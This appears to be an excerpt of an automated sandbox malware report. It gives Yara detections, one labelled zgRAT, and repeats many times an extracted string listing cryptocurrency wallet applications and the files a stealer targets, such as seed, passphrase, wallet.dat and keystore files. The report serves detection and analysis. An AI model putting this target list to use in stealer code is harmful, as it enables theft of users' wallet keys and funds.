Source: Yara match	File source: 12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.4570000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.FDsH_f9gemssdAs7w06vZwlL.exe.48c0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.FDsH_f9gemssdAs7w06vZwlL.exe.48c0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.4347719.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.FDsH_f9gemssdAs7w06vZwlL.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.2377978452.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.1897275221.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2372864881.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1915865994.0000000002500000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1921086630.0000000004270000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1941148148.0000000004570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2478023028.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: HXqqC3YwnKDsi7zeJNheTOoZ.exe PID: 1608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DbsmJHnmNOlKFVGvWfuU03Cy.exe PID: 4192, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FDsH_f9gemssdAs7w06vZwlL.exe PID: 4048, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 30.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.LLNkfgDtZiUZkTn30_sZHJcE.exe.4566ff0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.LLNkfgDtZiUZkTn30_sZHJcE.exe.4566ff0.6.unpack, type: UNPACKEDPE

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2131600356.0000000006993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2173975305.00000000056F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\ElectronCash\wallets
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2376588491.0000000002E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.2044640021.0000000001A65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty Extension
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2376588491.0000000002E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2376588491.0000000002E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2131600356.0000000006993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2376588491.0000000002E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2376588491.0000000002E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2376588491.0000000002E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2376588491.0000000002E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2376588491.0000000002E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2131600356.0000000006993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2173975305.00000000056F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance\app-store.json
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2376588491.0000000002E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2376588491.0000000002E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron 